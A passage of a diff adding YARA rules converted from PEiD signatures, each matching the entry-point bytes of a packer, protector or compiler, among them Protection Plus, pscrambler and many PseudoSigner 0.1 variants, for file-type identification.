+        $a = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85}
+    condition:
+        $a
+}
+rule PEiD_01787_Protection_Plus_vx_x_
+{
+    meta:
+        description = "[Protection Plus vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85 28 ?? ?? ?? 50 6A}
+    condition:
+        $a
+}
+
+rule PEiD_01788_Protector_v1_1_11__DDeM____PE_Engine_v0_9__DDeM____CI_v0_9_2__
+{
+    meta:
+        description = "[Protector v1.1.11 (DDeM -> PE Engine v0.9, DDeM -> CI v0.9.2)]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04}
+    condition:
+        $a
+}
+
+rule PEiD_01789_PS_AdobeFont_v_1_0_
+{
+    meta:
+        description = "[PS-AdobeFont v.1.0]"
+        ep_only = "false"
+    strings:
+        $a = {80 01 ?? ?? 00 00 25 21 50 53 2D 41 64 6F 62 65 46 6F 6E 74 2D 31 2E 30 3A}
+    condition:
+        $a
+}
+
+rule PEiD_01790_pscrambler_1_2____by_p0ke_
+{
+    meta:
+        description = "[pscrambler 1.2 -> by p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC}
+    condition:
+        $a
+}
+
+rule PEiD_01791_pscrambler_1_2____by_p0ke_
+{
+    meta:
+        description = "[pscrambler 1.2 -> by p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC B8 C4 54 00 10 E8 D9 EC FF FF 83 3D C4 54 00 10 00 0F 84 05 01 00 00 80 3D A0 40 00 10 00 74 41 A1 C4 54 00 10 E8 D9 ED FF FF E8 48 E0 FF FF 8B D8 A1 C4 54 00 10 E8 C8 ED FF FF 50 B8 C4 54 00 10 E8 65 EF FF FF 8B D3 59 E8 69 E1 FF FF 8B C3 E8 12 FA FF FF 8B C3 E8 33 E0 FF FF E9 AD 00 00 00 B8 05 01 00 00 E8 0C E0 FF FF 8B D8 53 68 05 01 00 00 E8 57 F3 FF FF 8D 45 DC 8B D3 E8 39 ED FF FF 8B 55 DC B8 14 56 00 10 B9 00 32 00 10 E8 BB ED FF FF 8B 15 14 56 00 10 B8 C8 54 00 10 E8 53 E5 FF FF BA 01 00 00 00 B8 C8 54 00 10 E8 8C E8 FF FF E8 DF E0 FF FF 85 C0 75 52 6A 00 A1 C4 54 00 10 E8 3B ED FF FF 50 B8 C4 54 00 10 E8 D8 EE FF FF 8B D0 B8 C8 54 00 10 59 E8 3B E6 FF FF E8 76 E0 FF FF B8 C8 54 00 10 E8 4C E6 FF FF E8 67 E0 FF FF 6A 00 6A 00 6A 00 A1 14 56 00 10 E8 53 EE FF FF 50 6A 00 6A 00 E8 41 F3 FF FF 80 3D 9C 40 00 10 00 74 05 E8 EF FB FF FF 33 C0 5A 59 59 64 89 10 68 EF 31 00 10 8D 45 DC BA 05 00 00 00 E8 7D EB FF FF C3 E9 23 E9 FF FF EB EB 5B E8 63 EA FF FF 00 00 00 FF FF FF FF 08 00 00 00 74 65 6D 70 2E 65 78 65}
+    condition:
+        $a
+}
+
+rule PEiD_01792_PseudoSigner_0_1____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_01793_PseudoSigner_0_1__32Lite_0_03_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [32Lite 0.03] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_01794_PseudoSigner_0_1__ACProtect_1_09______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 90 90 90 EB 06 00 00 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01795_PseudoSigner_0_1__ACProtect_1_09__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ACProtect 1.09]]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_01796_PseudoSigner_0_1__Armadillo_3_00_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Armadillo 3.00] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01797_PseudoSigner_0_1__ASPack_2_xx_Heuristic__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ASPack 2.xx Heuristic]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+    condition:
+        $a
+}
+rule PEiD_01798_PseudoSigner_0_1__ASProtect_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ASProtect] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9}
+    condition:
+        $a
+}
+
+rule PEiD_01799_PseudoSigner_0_1__Borland_Delphi_3_0______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+    condition:
+        $a
+}
+rule PEiD_01800_PseudoSigner_0_1__Borland_Delphi_3_0__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 3.0]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01801_PseudoSigner_0_1__Borland_Delphi_5_0_KOL_MCK______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0E 00 90 90 90 90 90 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0A 00 00 00 90 90 90 90 90 00 00 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01802_PseudoSigner_0_1__Borland_Delphi_5_0_KOL_MCK__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01803_PseudoSigner_0_1__Borland_Delphi_6_0___7_0__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01804_PseudoSigner_0_1__CD_Cops_II_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [CD-Cops II] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9}
+    condition:
+        $a
+}
+rule PEiD_01805_PseudoSigner_0_1__Code_Lock_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Code-Lock] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9}
+    condition:
+        $a
+}
+
+rule PEiD_01806_PseudoSigner_0_1__CodeSafe_2_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [CodeSafe 2.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01807_PseudoSigner_0_1__Crunch_PE_Heuristic_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Crunch/PE Heuristic] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01808_PseudoSigner_0_1__DEF_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [DEF 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01809_PseudoSigner_0_1__DxPack_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [DxPack 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01810_PseudoSigner_0_1__ExeSmasher_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ExeSmasher] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9}
+    condition:
+        $a
+}
+
+rule PEiD_01811_PseudoSigner_0_1__FSG_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [FSG 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9}
+    condition:
+        $a
+}
+
+rule PEiD_01812_PseudoSigner_0_1__FSG_1_31_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [FSG 1.31] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9}
+    condition:
+        $a
+}
+rule PEiD_01813_PseudoSigner_0_1__Gleam_1_00_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Gleam 1.00] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_01814_PseudoSigner_0_1__JDPack_1_x___JDProtect_0_9_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [JDPack 1.x / JDProtect 0.9] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01815_PseudoSigner_0_1__LCC_Win32_1_x_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [LCC Win32 1.x] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01816_PseudoSigner_0_1__LCC_Win32_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [LCC Win32 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_01817_PseudoSigner_0_1__Lockless_Intro_Pack_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Lockless Intro Pack] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9}
+    condition:
+        $a
+}
+
+rule PEiD_01818_PseudoSigner_0_1__LTC_1_3_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [LTC 1.3] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01819_PseudoSigner_0_1__Macromedia_Flash_Projector_6_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Macromedia Flash Projector 6.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9}
+    condition:
+        $a
+}
+rule PEiD_01820_PseudoSigner_0_1__MEW_11_SE_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [MEW 11 SE 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01821_PseudoSigner_0_1__Microsoft_Visual_Basic_5_0___6_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual Basic 5.0 - 6.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01822_PseudoSigner_0_1__Microsoft_Visual_Basic_6_0_DLL__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01823_PseudoSigner_0_1__Microsoft_Visual_C___5_0___MFC______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 5.0+ (MFC)] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01824_PseudoSigner_0_1__Microsoft_Visual_C___6_0__Debug_Version_______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 10 01 90 90 90 90 90 90 90 90 E8 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01825_PseudoSigner_0_1__Microsoft_Visual_C___6_0__Debug_Version___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01826_PseudoSigner_0_1__Microsoft_Visual_C___6_20__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 6.20]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01827_PseudoSigner_0_1__Microsoft_Visual_C___7_0_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Microsoft Visual C++ 7.0 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+rule PEiD_01828_PseudoSigner_0_1__MinGW_GCC_2_x_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [MinGW GCC 2.x] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01829_PseudoSigner_0_1__Morphine_1_2______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Morphine 1.2] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 E2 90 90 90 EB 08 82 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01830_PseudoSigner_0_1__Morphine_1_2__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Morphine 1.2]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01831_PseudoSigner_0_1__Neolite_2_0______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Neolite 2.0] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01832_PseudoSigner_0_1__Neolite_2_0__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Neolite 2.0]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01833_PseudoSigner_0_1__NorthStar_PE_Shrinker_1_3_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [NorthStar PE Shrinker 1.3] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01834_PseudoSigner_0_1__Pack_Master_1_0__PEX_Clone_______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FF FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_01835_PseudoSigner_0_1__Pack_Master_1_0__PEX_Clone___
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_01836_PseudoSigner_0_1__PE_Intro_1_0_____Anorganix_
+{
+    meta:
